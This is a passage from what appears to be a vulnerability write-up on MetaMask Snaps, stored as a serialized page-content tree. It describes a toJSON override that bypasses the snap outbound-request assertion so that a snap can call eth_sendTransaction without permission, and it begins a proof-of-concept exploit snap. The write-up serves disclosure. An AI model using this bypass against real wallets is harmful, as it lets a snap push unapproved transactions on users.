args",{"type":22,"tag":101,"props":42516,"children":42517},{"style":120},[42518],{"type":27,"value":231},{"type":22,"tag":101,"props":42520,"children":42521},{"style":126},[42522],{"type":27,"value":42309},{"type":22,"tag":101,"props":42524,"children":42525},{"style":120},[42526],{"type":27,"value":179},{"type":22,"tag":101,"props":42528,"children":42529},{"class":103,"line":1158},[42530],{"type":22,"tag":101,"props":42531,"children":42532},{"style":120},[42533],{"type":27,"value":41195},{"type":22,"tag":101,"props":42535,"children":42536},{"class":103,"line":1166},[42537],{"type":22,"tag":101,"props":42538,"children":42539},{"style":120},[42540],{"type":27,"value":42541}," }),\n",{"type":22,"tag":101,"props":42543,"children":42544},{"class":103,"line":1215},[42545],{"type":22,"tag":101,"props":42546,"children":42547},{"style":120},[42548],{"type":27,"value":42408},{"type":22,"tag":101,"props":42550,"children":42551},{"class":103,"line":2425},[42552,42557,42561,42565,42569,42574,42578,42583],{"type":22,"tag":101,"props":42553,"children":42554},{"style":926},[42555],{"type":27,"value":42556}," assertStruct",{"type":22,"tag":101,"props":42558,"children":42559},{"style":120},[42560],{"type":27,"value":980},{"type":22,"tag":101,"props":42562,"children":42563},{"style":126},[42564],{"type":27,"value":42224},{"type":22,"tag":101,"props":42566,"children":42567},{"style":120},[42568],{"type":27,"value":758},{"type":22,"tag":101,"props":42570,"children":42571},{"style":126},[42572],{"type":27,"value":42573},"JsonStruct",{"type":22,"tag":101,"props":42575,"children":42576},{"style":120},[42577],{"type":27,"value":758},{"type":22,"tag":101,"props":42579,"children":42580},{"style":6476},[42581],{"type":27,"value":42582},"'Provided value is not JSON-RPC compatible'",{"type":22,"tag":101,"props":42584,"children":42585},{"style":120},[42586],{"type":27,"value":994},{"type":22,"tag":101,"props":42588,"children":42589},{"class":103,"line":5417},[42590],{"type":22,"tag":101,"props":42591,"children":42592},{"style":120},[42593],{"type":27,"value":188},{"type":22,"tag":23,"props":42595,"children":42596},{},[42597,42599,42604,42606,42612,42613,42619],{"type":27,"value":42598},"This function is called by the ",{"type":22,"tag":30,"props":42600,"children":42602},{"className":42601},[],[42603],{"type":27,"value":42174},{"type":27,"value":42605}," RPC provider, so it can only send methods starting with ",{"type":22,"tag":30,"props":42607,"children":42609},{"className":42608},[],[42610],{"type":27,"value":42611},"wallet_",{"type":27,"value":17136},{"type":22,"tag":30,"props":42614,"children":42616},{"className":42615},[],[42617],{"type":27,"value":42618},"snap_",{"type":27,"value":42620},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":22,"tag":23,"props":42622,"children":42623},{},[42624,42626,42631,42633,42638,42640,42646],{"type":27,"value":42625},"On the other hand, the ",{"type":22,"tag":30,"props":42627,"children":42629},{"className":42628},[],[42630],{"type":27,"value":35413},{"type":27,"value":42632}," provider only blocks methods starting with ",{"type":22,"tag":30,"props":42634,"children":42636},{"className":42635},[],[42637],{"type":27,"value":42618},{"type":27,"value":42639}," and the blocked methods. However, it requires the ",{"type":22,"tag":30,"props":42641,"children":42643},{"className":42642},[],[42644],{"type":27,"value":42645},"endowment:ethereum-provider",{"type":27,"value":42647}," permission in the snap manifest.",{"type":22,"tag":22883,"props":42649,"children":42651},{"id":42650},"execution-flow",[42652],{"type":27,"value":42653},"Execution flow",{"type":22,"tag":23,"props":42655,"children":42656},{},[42657,42659,42664,42665,42670,42672,42677,42678,42684],{"type":27,"value":42658},"Both providers (",{"type":22,"tag":30,"props":42660,"children":42662},{"className":42661},[],[42663],{"type":27,"value":42174},{"type":27,"value":209},{"type":22,"tag":30,"props":42666,"children":42668},{"className":42667},[],[42669],{"type":27,"value":35413},{"type":27,"value":42671},") are built outside the SES container with a ",{"type":22,"tag":30,"props":42673,"children":42675},{"className":42674},[],[42676],{"type":27,"value":35489},{"type":27,"value":2169},{"type":22,"tag":80,"props":42679,"children":42682},{"href":42680,"rel":42681},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[84],[42683],{"type":27,"value":35373},{"type":27,"value":169},{"type":22,"tag":91,"props":42686,"children":42688},{"className":39927,"code":42687,"language":39929,"meta":7,"style":7}," const request = async (args: RequestArguments) => {\n assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n const sanitizedArgs = getSafeJson(args);\n this.notify({ method: 'OutboundRequest' });\n try {\n return await withTeardown(\n originalRequest(sanitizedArgs as unknown as RequestArguments),\n this as any,\n );\n } finally {\n this.notify({ method: 'OutboundResponse' });\n }\n };\n",[42689],{"type":22,"tag":30,"props":42690,"children":42691},{"__ignoreMap":7},[42692,42739,42764,42797,42831,42843,42863,42901,42921,42928,42945,42978,42985],{"type":22,"tag":101,"props":42693,"children":42694},{"class":103,"line":104},[42695,42699,42703,42707,42711,42715,42719,42723,42727,42731,42735],{"type":22,"tag":101,"props":42696,"children":42697},{"style":108},[42698],{"type":27,"value":40185},{"type":22,"tag":101,"props":42700,"children":42701},{"style":926},[42702],{"type":27,"value":35378},{"type":22,"tag":101,"props":42704,"children":42705},{"style":166},[42706],{"type":27,"value":960},{"type":22,"tag":101,"props":42708,"children":42709},{"style":108},[42710],{"type":27,"value":40361},{"type":22,"tag":101,"props":42712,"children":42713},{"style":120},[42714],{"type":27,"value":3603},{"type":22,"tag":101,"props":42716,"children":42717},{"style":126},[42718],{"type":27,"value":42224},{"type":22,"tag":101,"props":42720,"children":42721},{"style":166},[42722],{"type":27,"value":169},{"type":22,"tag":101,"props":42724,"children":42725},{"style":114},[42726],{"type":27,"value":42233},{"type":22,"tag":101,"props":42728,"children":42729},{"style":120},[42730],{"type":27,"value":901},{"type":22,"tag":101,"props":42732,"children":42733},{"style":108},[42734],{"type":27,"value":18823},{"type":22,"tag":101,"props":42736,"children":42737},{"style":120},[42738],{"type":27,"value":154},{"type":22,"tag":101,"props":42740,"children":42741},{"class":103,"line":157},[42742,42747,42751,42755,42759],{"type":22,"tag":101,"props":42743,"children":42744},{"style":926},[42745],{"type":27,"value":42746}," assertSnapOutboundRequest",{"type":22,"tag":101,"props":42748,"children":42749},{"style":120},[42750],{"type":27,"value":980},{"type":22,"tag":101,"props":42752,"children":42753},{"style":126},[42754],{"type":27,"value":42224},{"type":22,"tag":101,"props":42756,"children":42757},{"style":120},[42758],{"type":27,"value":32352},{"type":22,"tag":101,"props":42760,"children":42761},{"style":2215},[42762],{"type":27,"value":42763},"// or assertEthereumOutboundRequest(args);\n",{"type":22,"tag":101,"props":42765,"children":42766},{"class":103,"line":182},[42767,42771,42776,42780,42785,42789,42793],{"type":22,"tag":101,"props":42768,"children":42769},{"style":108},[42770],{"type":27,"value":35543},{"type":22,"tag":101,"props":42772,"children":42773},{"style":126},[42774],{"type":27,"value":42775}," sanitizedArgs",{"type":22,"tag":101,"props":42777,"children":42778},{"style":166},[42779],{"type":27,"value":960},{"type":22,"tag":101,"props":42781,"children":42782},{"style":926},[42783],{"type":27,"value":42784}," getSafeJson",{"type":22,"tag":101,"props":42786,"children":42787},{"style":120},[42788],{"type":27,"value":980},{"type":22,"tag":101,"props":42790,"children":42791},{"style":126},[42792],{"type":27,"value":42224},{"type":22,"tag":101,"props":42794,"children":42795},{"style":120},[42796],{"type":27,"value":994},{"type":22,"tag":101,"props":42798,"children":42799},{"class":103,"line":367},[42800,42805,42809,42814,42818,42822,42827],{"type":22,"tag":101,"props":42801,"children":42802},{"style":108},[42803],{"type":27,"value":42804}," this",{"type":22,"tag":101,"props":42806,"children":42807},{"style":120},[42808],{"type":27,"value":231},{"type":22,"tag":101,"props":42810,"children":42811},{"style":926},[42812],{"type":27,"value":42813},"notify",{"type":22,"tag":101,"props":42815,"children":42816},{"style":120},[42817],{"type":27,"value":35494},{"type":22,"tag":101,"props":42819,"children":42820},{"style":126},[42821],{"type":27,"value":35499},{"type":22,"tag":101,"props":42823,"children":42824},{"style":6476},[42825],{"type":27,"value":42826}," 'OutboundRequest'",{"type":22,"tag":101,"props":42828,"children":42829},{"style":120},[42830],{"type":27,"value":3369},{"type":22,"tag":101,"props":42832,"children":42833},{"class":103,"line":398},[42834,42839],{"type":22,"tag":101,"props":42835,"children":42836},{"style":3595},[42837],{"type":27,"value":42838}," try",{"type":22,"tag":101,"props":42840,"children":42841},{"style":120},[42842],{"type":27,"value":154},{"type":22,"tag":101,"props":42844,"children":42845},{"class":103,"line":428},[42846,42850,42854,42859],{"type":22,"tag":101,"props":42847,"children":42848},{"style":3595},[42849],{"type":27,"value":19742},{"type":22,"tag":101,"props":42851,"children":42852},{"style":3595},[42853],{"type":27,"value":40207},{"type":22,"tag":101,"props":42855,"children":42856},{"style":926},[42857],{"type":27,"value":42858}," withTeardown",{"type":22,"tag":101,"props":42860,"children":42861},{"style":120},[42862],{"type":27,"value":1850},{"type":22,"tag":101,"props":42864,"children":42865},{"class":103,"line":997},[42866,42871,42875,42880,42884,42889,42893,42897],{"type":22,"tag":101,"props":42867,"children":42868},{"style":926},[42869],{"type":27,"value":42870}," originalRequest",{"type":22,"tag":101,"props":42872,"children":42873},{"style":120},[42874],{"type":27,"value":980},{"type":22,"tag":101,"props":42876,"children":42877},{"style":126},[42878],{"type":27,"value":42879},"sanitizedArgs",{"type":22,"tag":101,"props":42881,"children":42882},{"style":3595},[42883],{"type":27,"value":12835},{"type":22,"tag":101,"props":42885,"children":42886},{"style":114},[42887],{"type":27,"value":42888}," unknown",{"type":22,"tag":101,"props":42890,"children":42891},{"style":3595},[42892],{"type":27,"value":12835},{"type":22,"tag":101,"props":42894,"children":42895},{"style":114},[42896],{"type":27,"value":42233},{"type":22,"tag":101,"props":42898,"children":42899},{"style":120},[42900],{"type":27,"value":1706},{"type":22,"tag":101,"props":42902,"children":42903},{"class":103,"line":1032},[42904,42909,42913,42917],{"type":22,"tag":101,"props":42905,"children":42906},{"style":108},[42907],{"type":27,"value":42908}," this",{"type":22,"tag":101,"props":42910,"children":42911},{"style":3595},[42912],{"type":27,"value":12835},{"type":22,"tag":101,"props":42914,"children":42915},{"style":114},[42916],{"type":27,"value":14364},{"type":22,"tag":101,"props":42918,"children":42919},{"style":120},[42920],{"type":27,"value":179},{"type":22,"tag":101,"props":42922,"children":42923},{"class":103,"line":1063},[42924],{"type":22,"tag":101,"props":42925,"children":42926},{"style":120},[42927],{"type":27,"value":3738},{"type":22,"tag":101,"props":42929,"children":42930},{"class":103,"line":1071},[42931,42936,42941],{"type":22,"tag":101,"props":42932,"children":42933},{"style":120},[42934],{"type":27,"value":42935}," } ",{"type":22,"tag":101,"props":42937,"children":42938},{"style":3595},[42939],{"type":27,"value":42940},"finally",{"type":22,"tag":101,"props":42942,"children":42943},{"style":120},[42944],{"type":27,"value":154},{"type":22,"tag":101,"props":42946,"children":42947},{"class":103,"line":1110},[42948,42953,42957,42961,42965,42969,42974],{"type":22,"tag":101,"props":42949,"children":42950},{"style":108},[42951],{"type":27,"value":42952}," this",{"type":22,"tag":101,"props":42954,"children":42955},{"style":120},[42956],{"type":27,"value":231},{"type":22,"tag":101,"props":42958,"children":42959},{"style":926},[42960],{"type":27,"value":42813},{"type":22,"tag":101,"props":42962,"children":42963},{"style":120},[42964],{"type":27,"value":35494},{"type":22,"tag":101,"props":42966,"children":42967},{"style":126},[42968],{"type":27,"value":35499},{"type":22,"tag":101,"props":42970,"children":42971},{"style":6476},[42972],{"type":27,"value":42973}," 'OutboundResponse'",{"type":22,"tag":101,"props":42975,"children":42976},{"style":120},[42977],{"type":27,"value":3369},{"type":22,"tag":101,"props":42979,"children":42980},{"class":103,"line":1118},[42981],{"type":22,"tag":101,"props":42982,"children":42983},{"style":120},[42984],{"type":27,"value":16668},{"type":22,"tag":101,"props":42986,"children":42987},{"class":103,"line":1158},[42988],{"type":22,"tag":101,"props":42989,"children":42990},{"style":120},[42991],{"type":27,"value":3812},{"type":22,"tag":23,"props":42993,"children":42994},{},[42995,42997,43002,43004,43009],{"type":27,"value":42996},"In particular, this function is from the ",{"type":22,"tag":30,"props":42998,"children":43000},{"className":42999},[],[43001],{"type":27,"value":42174},{"type":27,"value":43003}," provider, but the only thing that changes between this and ",{"type":22,"tag":30,"props":43005,"children":43007},{"className":43006},[],[43008],{"type":27,"value":35413},{"type":27,"value":43010}," is the assert function in the first line.",{"type":22,"tag":23,"props":43012,"children":43013},{},[43014],{"type":27,"value":43015},"As we can see in the code, the execution flow follows this pattern:",{"type":22,"tag":6828,"props":43017,"children":43018},{},[43019,43031,43036],{"type":22,"tag":6832,"props":43020,"children":43021},{},[43022,43024,43029],{"type":27,"value":43023},"Assert if ",{"type":22,"tag":30,"props":43025,"children":43027},{"className":43026},[],[43028],{"type":27,"value":42224},{"type":27,"value":43030}," are valid",{"type":22,"tag":6832,"props":43032,"children":43033},{},[43034],{"type":27,"value":43035},"getSafeJson to get sanitizedArgs",{"type":22,"tag":6832,"props":43037,"children":43038},{},[43039],{"type":27,"value":43040},"originalRequest(sanitizedArgs)",{"type":22,"tag":23,"props":43042,"children":43043},{},[43044,43046,43052],{"type":27,"value":43045},"Obs: ",{"type":22,"tag":30,"props":43047,"children":43049},{"className":43048},[],[43050],{"type":27,"value":43051},"originalRequest",{"type":27,"value":43053}," makes the RPC call to metamask service worker",{"type":22,"tag":1760,"props":43055,"children":43057},{"id":43056},"safe-json-exploit",[43058],{"type":27,"value":43059},"Safe JSON Exploit",{"type":22,"tag":23,"props":43061,"children":43062},{},[43063,43065,43071,43073,43078,43080,43086],{"type":27,"value":43064},"As we dug further into the",{"type":22,"tag":30,"props":43066,"children":43068},{"className":43067},[],[43069],{"type":27,"value":43070},"getSafeJson",{"type":27,"value":43072}," function (defined in ",{"type":22,"tag":30,"props":43074,"children":43076},{"className":43075},[],[43077],{"type":27,"value":41292},{"type":27,"value":43079}," package) we discovered the following ",{"type":22,"tag":80,"props":43081,"children":43084},{"href":43082,"rel":43083},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[84],[43085],{"type":27,"value":30},{"type":27,"value":169},{"type":22,"tag":91,"props":43088,"children":43090},{"className":39610,"code":43089,"language":39612,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n assertStruct(value, UnsafeJsonStruct);\n return JSON.parse(\n JSON.stringify(value, (propKey, propValue) => {\n // Strip __proto__ and constructor properties to prevent prototype pollution.\n if (propKey === '__proto__' || propKey === 'constructor') {\n return undefined;\n }\n return propValue;\n }),\n );\n});\n",[43091],{"type":22,"tag":30,"props":43092,"children":43093},{"__ignoreMap":7},[43094,43159,43186,43211,43266,43274,43321,43337,43344,43361,43368,43375],{"type":22,"tag":101,"props":43095,"children":43096},{"class":103,"line":104},[43097,43101,43106,43111,43115,43120,43124,43129,43133,43137,43142,43147,43151,43155],{"type":22,"tag":101,"props":43098,"children":43099},{"style":3595},[43100],{"type":27,"value":42205},{"type":22,"tag":101,"props":43102,"children":43103},{"style":108},[43104],{"type":27,"value":43105}," const",{"type":22,"tag":101,"props":43107,"children":43108},{"style":126},[43109],{"type":27,"value":43110}," JsonStruct",{"type":22,"tag":101,"props":43112,"children":43113},{"style":166},[43114],{"type":27,"value":960},{"type":22,"tag":101,"props":43116,"children":43117},{"style":926},[43118],{"type":27,"value":43119}," coerce",{"type":22,"tag":101,"props":43121,"children":43122},{"style":120},[43123],{"type":27,"value":980},{"type":22,"tag":101,"props":43125,"children":43126},{"style":126},[43127],{"type":27,"value":43128},"UnsafeJsonStruct",{"type":22,"tag":101,"props":43130,"children":43131},{"style":120},[43132],{"type":27,"value":758},{"type":22,"tag":101,"props":43134,"children":43135},{"style":926},[43136],{"type":27,"value":20711},{"type":22,"tag":101,"props":43138,"children":43139},{"style":120},[43140],{"type":27,"value":43141},"(), (",{"type":22,"tag":101,"props":43143,"children":43144},{"style":126},[43145],{"type":27,"value":43146},"value",{"type":22,"tag":101,"props":43148,"children":43149},{"style":120},[43150],{"type":27,"value":901},{"type":22,"tag":101,"props":43152,"children":43153},{"style":108},[43154],{"type":27,"value":18823},{"type":22,"tag":101,"props":43156,"children":43157},{"style":120},[43158],{"type":27,"value":154},{"type":22,"tag":101,"props":43160,"children":43161},{"class":103,"line":157},[43162,43166,43170,43174,43178,43182],{"type":22,"tag":101,"props":43163,"children":43164},{"style":926},[43165],{"type":27,"value":42556},{"type":22,"tag":101,"props":43167,"children":43168},{"style":120},[43169],{"type":27,"value":980},{"type":22,"tag":101,"props":43171,"children":43172},{"style":126},[43173],{"type":27,"value":43146},{"type":22,"tag":101,"props":43175,"children":43176},{"style":120},[43177],{"type":27,"value":758},{"type":22,"tag":101,"props":43179,"children":43180},{"style":126},[43181],{"type":27,"value":43128},{"type":22,"tag":101,"props":43183,"children":43184},{"style":120},[43185],{"type":27,"value":994},{"type":22,"tag":101,"props":43187,"children":43188},{"class":103,"line":182},[43189,43194,43198,43202,43207],{"type":22,"tag":101,"props":43190,"children":43191},{"style":3595},[43192],{"type":27,"value":43193}," return",{"type":22,"tag":101,"props":43195,"children":43196},{"style":126},[43197],{"type":27,"value":41524},{"type":22,"tag":101,"props":43199,"children":43200},{"style":120},[43201],{"type":27,"value":231},{"type":22,"tag":101,"props":43203,"children":43204},{"style":926},[43205],{"type":27,"value":43206},"parse",{"type":22,"tag":101,"props":43208,"children":43209},{"style":120},[43210],{"type":27,"value":1850},{"type":22,"tag":101,"props":43212,"children":43213},{"class":103,"line":367},[43214,43219,43223,43228,43232,43236,43240,43245,43249,43254,43258,43262],{"type":22,"tag":101,"props":43215,"children":43216},{"style":126},[43217],{"type":27,"value":43218}," JSON",{"type":22,"tag":101,"props":43220,"children":43221},{"style":120},[43222],{"type":27,"value":231},{"type":22,"tag":101,"props":43224,"children":43225},{"style":926},[43226],{"type":27,"value":43227},"stringify",{"type":22,"tag":101,"props":43229,"children":43230},{"style":120},[43231],{"type":27,"value":980},{"type":22,"tag":101,"props":43233,"children":43234},{"style":126},[43235],{"type":27,"value":43146},{"type":22,"tag":101,"props":43237,"children":43238},{"style":120},[43239],{"type":27,"value":12826},{"type":22,"tag":101,"props":43241,"children":43242},{"style":126},[43243],{"type":27,"value":43244},"propKey",{"type":22,"tag":101,"props":43246,"children":43247},{"style":120},[43248],{"type":27,"value":758},{"type":22,"tag":101,"props":43250,"children":43251},{"style":126},[43252],{"type":27,"value":43253},"propValue",{"type":22,"tag":101,"props":43255,"children":43256},{"style":120},[43257],{"type":27,"value":901},{"type":22,"tag":101,"props":43259,"children":43260},{"style":108},[43261],{"type":27,"value":18823},{"type":22,"tag":101,"props":43263,"children":43264},{"style":120},[43265],{"type":27,"value":154},{"type":22,"tag":101,"props":43267,"children":43268},{"class":103,"line":398},[43269],{"type":22,"tag":101,"props":43270,"children":43271},{"style":2215},[43272],{"type":27,"value":43273}," // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":22,"tag":101,"props":43275,"children":43276},{"class":103,"line":428},[43277,43282,43286,43290,43294,43299,43303,43308,43312,43317],{"type":22,"tag":101,"props":43278,"children":43279},{"style":3595},[43280],{"type":27,"value":43281}," if",{"type":22,"tag":101,"props":43283,"children":43284},{"style":120},[43285],{"type":27,"value":3603},{"type":22,"tag":101,"props":43287,"children":43288},{"style":126},[43289],{"type":27,"value":43244},{"type":22,"tag":101,"props":43291,"children":43292},{"style":166},[43293],{"type":27,"value":35418},{"type":22,"tag":101,"props":43295,"children":43296},{"style":6476},[43297],{"type":27,"value":43298}," '__proto__'",{"type":22,"tag":101,"props":43300,"children":43301},{"style":166},[43302],{"type":27,"value":27695},{"type":22,"tag":101,"props":43304,"children":43305},{"style":126},[43306],{"type":27,"value":43307}," propKey",{"type":22,"tag":101,"props":43309,"children":43310},{"style":166},[43311],{"type":27,"value":35418},{"type":22,"tag":101,"props":43313,"children":43314},{"style":6476},[43315],{"type":27,"value":43316}," 'constructor'",{"type":22,"tag":101,"props":43318,"children":43319},{"style":120},[43320],{"type":27,"value":1463},{"type":22,"tag":101,"props":43322,"children":43323},{"class":103,"line":997},[43324,43328,43333],{"type":22,"tag":101,"props":43325,"children":43326},{"style":3595},[43327],{"type":27,"value":19742},{"type":22,"tag":101,"props":43329,"children":43330},{"style":108},[43331],{"type":27,"value":43332}," undefined",{"type":22,"tag":101,"props":43334,"children":43335},{"style":120},[43336],{"type":27,"value":1520},{"type":22,"tag":101,"props":43338,"children":43339},{"class":103,"line":1032},[43340],{"type":22,"tag":101,"props":43341,"children":43342},{"style":120},[43343],{"type":27,"value":16668},{"type":22,"tag":101,"props":43345,"children":43346},{"class":103,"line":1063},[43347,43352,43357],{"type":22,"tag":101,"props":43348,"children":43349},{"style":3595},[43350],{"type":27,"value":43351}," return",{"type":22,"tag":101,"props":43353,"children":43354},{"style":126},[43355],{"type":27,"value":43356}," propValue",{"type":22,"tag":101,"props":43358,"children":43359},{"style":120},[43360],{"type":27,"value":1520},{"type":22,"tag":101,"props":43362,"children":43363},{"class":103,"line":1071},[43364],{"type":22,"tag":101,"props":43365,"children":43366},{"style":120},[43367],{"type":27,"value":42541},{"type":22,"tag":101,"props":43369,"children":43370},{"class":103,"line":1110},[43371],{"type":22,"tag":101,"props":43372,"children":43373},{"style":120},[43374],{"type":27,"value":42408},{"type":22,"tag":101,"props":43376,"children":43377},{"class":103,"line":1118},[43378],{"type":22,"tag":101,"props":43379,"children":43380},{"style":120},[43381],{"type":27,"value":39334},{"type":22,"tag":23,"props":43383,"children":43384},{},[43385,43387,43393,43395,43400,43402,43408,43410,43416],{"type":27,"value":43386},"The function performs a ",{"type":22,"tag":30,"props":43388,"children":43390},{"className":43389},[],[43391],{"type":27,"value":43392},"JSON.parse(JSON.stringify(value))",{"type":27,"value":43394}," in the argument sent to ",{"type":22,"tag":30,"props":43396,"children":43398},{"className":43397},[],[43399],{"type":27,"value":43070},{"type":27,"value":43401},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":22,"tag":30,"props":43403,"children":43405},{"className":43404},[],[43406],{"type":27,"value":43407},"toJSON",{"type":27,"value":43409}," function in a legit ",{"type":22,"tag":30,"props":43411,"children":43413},{"className":43412},[],[43414],{"type":27,"value":43415},"snap.request",{"type":27,"value":43417}," argument:",{"type":22,"tag":6828,"props":43419,"children":43420},{},[43421,43426,43431],{"type":22,"tag":6832,"props":43422,"children":43423},{},[43424],{"type":27,"value":43425},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":22,"tag":6832,"props":43427,"children":43428},{},[43429],{"type":27,"value":43430},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":22,"tag":6832,"props":43432,"children":43433},{},[43434],{"type":27,"value":43435},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":22,"tag":23,"props":43437,"children":43438},{},[43439],{"type":27,"value":43440},"The assertion bypass can be useful on two occasions:",{"type":22,"tag":6828,"props":43442,"children":43443},{},[43444,43449],{"type":22,"tag":6832,"props":43445,"children":43446},{},[43447],{"type":27,"value":43448},"forward blocked RPC methods",{"type":22,"tag":6832,"props":43450,"children":43451},{},[43452,43454,43459,43461,43467,43469,43474],{"type":27,"value":43453},"Making requests in ",{"type":22,"tag":30,"props":43455,"children":43457},{"className":43456},[],[43458],{"type":27,"value":43415},{"type":27,"value":43460}," that were only supposed to be done within ",{"type":22,"tag":30,"props":43462,"children":43464},{"className":43463},[],[43465],{"type":27,"value":43466},"ethereum.request",{"type":27,"value":43468}," (with ",{"type":22,"tag":30,"props":43470,"children":43472},{"className":43471},[],[43473],{"type":27,"value":42645},{"type":27,"value":43475}," enabled).",{"type":22,"tag":23,"props":43477,"children":43478},{},[43479],{"type":27,"value":43480},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":22,"tag":1760,"props":43482,"children":43483},{"id":9705},[43484],{"type":27,"value":9708},{"type":22,"tag":23,"props":43486,"children":43487},{},[43488],{"type":27,"value":43489},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":22,"tag":23,"props":43491,"children":43492},{},[43493],{"type":22,"tag":7959,"props":43494,"children":43496},{"alt":7,"src":43495},"/posts/metamask-snaps/note.png",[],{"type":22,"tag":1760,"props":43498,"children":43500},{"id":43499},"proof-of-concept",[43501],{"type":27,"value":38825},{"type":22,"tag":23,"props":43503,"children":43504},{},[43505,43507,43512,43514,43519,43521,43527],{"type":27,"value":43506},"To demonstrate the issue, we created a snap without the ",{"type":22,"tag":30,"props":43508,"children":43510},{"className":43509},[],[43511],{"type":27,"value":42645},{"type":27,"value":43513}," permission, and used the ",{"type":22,"tag":30,"props":43515,"children":43517},{"className":43516},[],[43518],{"type":27,"value":42174},{"type":27,"value":43520}," interface to call ",{"type":22,"tag":30,"props":43522,"children":43524},{"className":43523},[],[43525],{"type":27,"value":43526},"eth_sendTransaction",{"type":27,"value":43528},". According to the documentation, this shouldn't be possible:",{"type":22,"tag":91,"props":43530,"children":43532},{"className":39610,"code":43531,"language":39612,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_requestAccounts\",\n params: []\n }\n }\n\n return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_sendTransaction\",\n params: [{\n from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n value: \"0x1\",\n }]\n }\n }\n\n return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n switch (request.method) {\n case 'json':\n return jsonExploit();\n case 'transaction':\n return transactionExploit();\n default:\n throw new Error('Method not found.');\n }\n};\n",[43533],{"type":22,"tag":30,"props":43534,"children":43535},{"__ignoreMap":7},[43536,43569,43576,43583,43600,43629,43636,43661,43668,43700,43711,43728,43741,43748,43755,43762,43794,43801,43808,43815,43831,43858,43865,43888,43895,43926,43937,43953,43965,43986,44001,44018,44026,44033,44040,44047,44078,44085,44092,44152,44159,44187,44204,44219,44235,44250,44262,44292,44299],{"type":22,"tag":101,"props":43537,"children":43538},{"class":103,"line":104},[43539,43543,43547,43552,43556,43560,43565],{"type":22,"tag":101,"props":43540,"children":43541},{"style":3595},[43542],{"type":27,"value":23474},{"type":22,"tag":101,"props":43544,"children":43545},{"style":120},[43546],{"type":27,"value":1479},{"type":22,"tag":101,"props":43548,"children":43549},{"style":126},[43550],{"type":27,"value":43551},"OnRpcRequestHandler",{"type":22,"tag":101,"props":43553,"children":43554},{"style":120},[43555],{"type":27,"value":1506},{"type":22,"tag":101,"props":43557,"children":43558},{"style":3595},[43559],{"type":27,"value":23464},{"type":22,"tag":101,"props":43561,"children":43562},{"style":6476},[43563],{"type":27,"value":43564}," '@metamask/snaps-types'",{"type":22,"tag":101,"props":43566,"children":43567},{"style":120},[43568],{"type":27,"value":1520},{"type":22,"tag":101,"props":43570,"children":43571},{"class":103,"line":157},[43572],{"type":22,"tag":101,"props":43573,"children":43574},{"emptyLinePlaceholder":15},[43575],{"type":27,"value":1581},{"type":22,"tag":101,"props":43577,"children":43578},{"class":103,"line":182},[43579],{"type":22,"tag":101,"props":43580,"children":43581},{"emptyLinePlaceholder":15},[43582],{"type":27,"value":1581},{"type":22,"tag":101,"props":43584,"children":43585},{"class":103,"line":367},[43586,43590,43595],{"type":22,"tag":101,"props":43587,"children":43588},{"style":108},[43589],{"type":27,"value":35373},{"type":22,"tag":101,"props":43591,"children":43592},{"style":926},[43593],{"type":27,"value":43594}," jsonExploit",{"type":22,"tag":101,"props":43596,"children":43597},{"style":120},[43598],{"type":27,"value":43599},"(){\n",{"type":22,"tag":101,"props":43601,"children":43602},{"class":103,"line":398},[43603,43607,43611,43615,43620,43624],{"type":22,"tag":101,"props":43604,"children":43605},{"style":108},[43606],{"type":27,"value":11865},{"type":22,"tag":101,"props":43608,"children":43609},{"style":126},[43610],{"type":27,"value":23055},{"type":22,"tag":101,"props":43612,"children":43613},{"style":166},[43614],{"type":27,"value":960},{"type":22,"tag":101,"props":43616,"children":43617},{"style":120},[43618],{"type":27,"value":43619}," [] ",{"type":22,"tag":101,"props":43621,"children":43622},{"style":3595},[43623],{"type":27,"value":12849},{"type":22,"tag":101,"props":43625,"children":43626},{"style":114},[43627],{"type":27,"value":43628}," any\n",{"type":22,"tag":101,"props":43630,"children":43631},{"class":103,"line":428},[43632],{"type":22,"tag":101,"props":43633,"children":43634},{"emptyLinePlaceholder":15},[43635],{"type":27,"value":1581},{"type":22,"tag":101,"props":43637,"children":43638},{"class":103,"line":997},[43639,43644,43648,43652,43656],{"type":22,"tag":101,"props":43640,"children":43641},{"style":126},[43642],{"type":27,"value":43643}," x",{"type":22,"tag":101,"props":43645,"children":43646},{"style":120},[43647],{"type":27,"value":231},{"type":22,"tag":101,"props":43649,"children":43650},{"style":126},[43651],{"type":27,"value":42309},{"type":22,"tag":101,"props":43653,"children":43654},{"style":166},[43655],{"type":27,"value":960},{"type":22,"tag":101,"props":43657,"children":43658},{"style":6476},[43659],{"type":27,"value":43660}," 